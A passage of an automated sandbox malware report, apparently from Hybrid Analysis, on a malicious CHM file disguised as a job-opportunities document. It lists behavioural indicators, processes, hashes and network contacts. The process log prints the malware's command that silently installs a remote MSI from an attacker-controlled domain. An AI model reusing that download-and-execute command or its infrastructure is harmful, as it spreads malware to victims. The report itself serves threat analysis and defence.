Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"msiexec.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"hh.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00002724)\n \"msiexec.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00002536)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineW@KERNEL32.DLL at 00000000-00001728-1959-4-FF5EB6A4\n GetCommandLineW@KERNEL32.DLL at 00000000-00002536-23187-4-FF5EB6A4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"InternetOpenA@WININET.DLL\" in \"hh.exe\"\n \"InternetOpenW@WININET.DLL\" in \"hh.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"hh.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"hh.exe\"\n \"InternetReadFile@WININET.DLL\" in \"hh.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"msiexec.exe\" marked \"%WINDIR%\\Installer\\MSI8179.tmp\" for deletion\n \"msiexec.exe\" marked \"%WINDIR%\\Installer\\MSI717B.tmp\" for deletion\n \"msiexec.exe\" marked \"%TEMP%\\Cab5805.tmp\" for deletion\n \"msiexec.exe\" marked \"%TEMP%\\Tar5825.tmp\" for deletion\n \"msiexec.exe\" marked \"%WINDIR%\\Installer\\MSI81C8.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"hh.exe\" opened \"%TEMP%\\IMT2A4E.tmp\" with delete access\n \"msiexec.exe\" opened \"%WINDIR%\\Installer\\MSI8179.tmp\" with delete access\n \"msiexec.exe\" opened \"%WINDIR%\\Installer\\MSI717B.tmp\" with delete access\n \"msiexec.exe\" opened \"%TEMP%\\Cab5805.tmp\" with delete access\n \"msiexec.exe\" opened \"%TEMP%\\Tar5825.tmp\" with delete access\n \"msiexec.exe\" opened \"%WINDIR%\\Installer\\MSI81C8.tmp\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"msiexec.exe\" called an API \"AdjustTokenPrivileges\"","origin":"API Call","mitre_attack_id":"T1134","relevance":5,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"InternetOpenA@WININET.DLL\" in \"hh.exe\"\n \"InternetOpenW@WININET.DLL\" in \"hh.exe\"\n \"GetKeyState@USER32.DLL\" in \"hh.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"hh.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"hh.exe\"\n \"URLDownloadToFileA@URLMON.DLL\" in \"hh.exe\"\n \"ShellExecuteW@SHELL32.DLL\" in \"hh.exe\"\n \"CreateCompatibleBitmap@GDI32.DLL\" in \"hh.exe\"\n \"GetForegroundWindow@USER32.DLL\" in \"hh.exe\"\n \"ShellExecuteA@SHELL32.DLL\" in \"hh.exe\"\n \"InternetReadFile@WININET.DLL\" in \"hh.exe\"\n \"GetAsyncKeyState@USER32.DLL\" in \"hh.exe\"\n \"URLDownloadToFileW@URLMON.DLL\" in \"hh.exe\"\n \"GetIpNetTable@IPHLPAPI.DLL\" in \"msiexec.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$31","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"hh.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"hh.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"msiexec.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"hh.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"msiexec.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"\"MSI81C8.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI81C8.tmp]- [targetUID: 00000000-00002536]\n \"MSI8179.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI8179.tmp]- [targetUID: 00000000-00002536]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"Cab5805.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"","origin":"Binary File","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$32","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"17/61 Antivirus vendors marked sample as malicious (27% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%WINDIR%\\Installer\\MSI81C8.tmp\"\n File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%WINDIR%\\Installer\\MSI8179.tmp\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behavior","description":"The script produces internet activity\n is obfuscated and drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Tries to access unusual system drive letters","description":"\"msiexec.exe\" touched \"K:\"\n \"msiexec.exe\" touched \"L:\"\n \"msiexec.exe\" touched \"M:\"\n \"msiexec.exe\" touched \"N:\"\n \"msiexec.exe\" touched \"O:\"\n \"msiexec.exe\" touched \"P:\"\n \"msiexec.exe\" touched \"Q:\"\n \"msiexec.exe\" touched \"R:\"\n \"msiexec.exe\" touched \"S:\"\n \"msiexec.exe\" touched \"T:\"\n \"msiexec.exe\" touched \"U:\"\n \"msiexec.exe\" touched \"V:\"\n \"msiexec.exe\" touched \"W:\"","origin":"API Call","mitre_attack_id":"T1083","relevance":9,"id":"api-31","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}],"incidents":[{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries the installation properties of user installed products"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Contains ability to check if a debugger is running"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Spreading","details_count":2,"details":[{"detail":"Tries to access unusual system drive letters"},{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":119,"dropped_files_count":0,"extracted_files_count":8,"files_written_count":20,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["suspicious","targeted","exploit"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"sandbox_reports":[{"id":"6397b3e51716bd6386653293","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Exploit.CHM","contacted_countries":["USA"],"submit_name":"New Job Opportunities.chm","analysis_start_time":"2022-12-12T23:06:14+00:00","indicators_count":{"informative":52,"suspicious":28,"malicious":5},"tags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.86.122.181","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}],"dns_resolutions":[{"domain":"www.thecloudnet.org","address":"172.86.122.181","ttl":600,"country":"United States","registrar_name":"Porkbun, LLC","registrar_organization":"Private by Design, LLC","registrar_name_servers":"maceio.ns.porkbun.com","registrar_creation_date":"2022-11-24T09:25:36+00:00","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}],"processes":[{"pid":2724,"ppid":0,"name":"hh.exe","command_line":"C:\\NewJobOpportunities.chm","sha256":"65c2b472d2f5c29b9f3b16ef803a85419c0c0a4088c128c96733584ae4017919","normalized_path":"%WINDIR%\\hh.exe","uid":"00000000-00002724","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoUlEQVR42u1XQQ6AIAzj6TyNn1UXQ8JBYYWNGKBxF1loU1iNIRwMIsYI5r05MXA/H+VKnlJCjTyX9JmS5w015KUTpkJadrsfh2bztQVYiZxGTguQMWOqNR2yRgWTNGvwZAGqY9mViIyAFnnX/NsIAIaiVot3AcBw1mfULp95zvc4UDrhIuD3Drh8fFgHXAUcB6beftaBsm/dHNhXwPnn2wYX4csqG5cSnFYAAAAASUVORK5CYII="},{"pid":2648,"ppid":2724,"name":"cmd.exe","command_line":"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiexec.*) DO msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi & timeout 60","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00002724","uid":"00000000-00002648"},{"pid":1728,"ppid":2648,"name":"msiexec.exe","command_line":"msiexec -c /Q /i https://www.thecloudnet.org/6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi","sha256":"1a899bef4f64d5cdd23911a6ea09f69483e4dba8e76cda38a37dab6fa24406e8","normalized_path":"%WINDIR%\\system32\\msiexec.exe","parent_uid":"00000000-00002648","uid":"00000000-00001728"},{"pid":3200,"ppid":2648,"name":"timeout.exe","command_line":"timeout 60","sha256":"7e93723c0c34ef98444e5ce9013fef220975b96291a79053fd4c9b3d3550aeb3","normalized_path":"%WINDIR%\\system32\\timeout.exe","parent_uid":"00000000-00002648","uid":"00000000-00003200"},{"pid":2536,"ppid":0,"name":"msiexec.exe","command_line":"/V","sha256":"1a899bef4f64d5cdd23911a6ea09f69483e4dba8e76cda38a37dab6fa24406e8","normalized_path":"%WINDIR%\\system32\\msiexec.exe","uid":"00000000-00002536","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoUlEQVR42u1XQQ6AIAzj6TyNn1UXQ8JBYYWNGKBxF1loU1iNIRwMIsYI5r05MXA/H+VKnlJCjTyX9JmS5w015KUTpkJadrsfh2bztQVYiZxGTguQMWOqNR2yRgWTNGvwZAGqY9mViIyAFnnX/NsIAIaiVot3AcBw1mfULp95zvc4UDrhIuD3Drh8fFgHXAUcB6beftaBsm/dHNhXwPnn2wYX4csqG5cSnFYAAAAASUVORK5CYII="}],"all_imported_dlls":["msasn1.dll","setupapi.dll","AcGenral.dll","winnsi.dll","VxSSL64.dll","ws2_32.dll","wintrust.dll","clbcatq.dll","apphelp.dll","wkscli.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","version.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","msimtf.dll","d3d10warp.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","sfc_os.dll","nsi.dll","msvcrt.dll","msi.dll","urlmon.dll","WindowsCodecs.dll","cfgmgr32.dll","netapi32.dll","rasadhlp.dll","wship6.dll","bcrypt.dll","ntdll.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","ieframe.dll","RstrtMgr.dll","cryptbase.dll","rsaenh.dll","gpapi.dll","msls31.dll","GdiPlus.dll","jscript9.dll","usp10.dll","dhcpcsvc.dll","KernelBase.dll","d3d11.dll","itss.dll","kernel32.dll","crypt32.dll","comctl32.dll","wininet.dll","atl.dll","devrtl.dll","winhttp.dll","dhcpcsvc6.dll","advapi32.dll","cryptsp.dll","gdi32.dll","ole32.dll","winbrand.dll","credssp.dll","SensApi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","iertutil.dll","sxs.dll","AcLayers.dll","IPHLPAPI.DLL","dxgi.dll","bcryptprimitives.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","sspicli.dll","mshtml.dll","RpcRtRemote.dll","mlang.dll","rpcss.dll","normaliz.dll","schannel.dll","fltLib.dll","imm32.dll","dnsapi.dll","FWPUCLNT.DLL","webio.dll","mswsock.dll","shlwapi.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","secur32.dll","propsys.dll","d2d1.dll","api-ms-win-downlevel-version-l1-1-0.dll","user32.dll","mpr.dll","mscoreei.dll","profapi.dll","nlaapi.dll","clr.dll","shell32.dll","Wldap32.dll","winsta.dll","rpcrt4.dll","userenv.dll","cabinet.dll","npmproxy.dll","WSHTCPIP.DLL","mscoree.dll","msctf.dll","lpk.dll","dwmapi.dll","devobj.dll","VGX.dll","uxtheme.dll","sechost.dll","oleaut32.dll","srvcli.dll","ncrypt.dll","msimsg.dll","sfc.dll","netutils.dll","api-ms-win-core-synch-l1-2-0.dll","ntmarta.dll","cryptnet.dll","netprofm.dll","fusion.dll","DWrite.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Tar5825.tmp","sha256":"c0cf8cc04c34b5b80a2d86ad0eafb2dd71436f070c86b0321fba0201879625fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"MSI8179.tmp","sha256":"44ffc4959be0ddb18b02d59c75e78e3e721992e362a2f90cae19adb3271886b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"MSI81C8.tmp","sha256":"44ffc4959be0ddb18b02d59c75e78e3e721992e362a2f90cae19adb3271886b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"hh.dat","sha256":"34a0737e94ad3083c6df95e46119b9638bc7297498b95ccde5e7c75641ba8858","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Cab5805.tmp","sha256":"10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"IMT2A4E.tmp","sha256":"bbb45ccb31607f92d62ee94204b0e2e4ca802ea6ae6a7b8b6aebfe99655fa920","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"MSI717B.tmp","sha256":"f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}],"files_written":[{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%WINDIR%\\Fonts","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%TEMP%\\~DFAD7393677256B5BB.TMP","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%TEMP%\\Tar5825.tmp","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%TEMP%\\IMT2A4E.tmp","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%TEMP%\\~DF43CB7C0816CF2811.TMP","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MSILOG_a934d7041d90e76GOL.2328ISM_pmeT_lacoL_ataDppA_DsEltOQ_sresU_:C","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Global\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"Global\\MSILOG_a934d7041d90e76GOL.2328ISM_pmeT_lacoL_ataDppA_DsEltOQ_sresU_:C","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]}]}},"report_ids":{"sandbox_job_ids":["6397b3e51716bd6386653293"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Sample bdd109cba834… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample bdd109cba834…. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample bdd109cba834… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample bdd109cba834…. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample bdd109cba834… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample bdd109cba834…. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L33","11",{}]]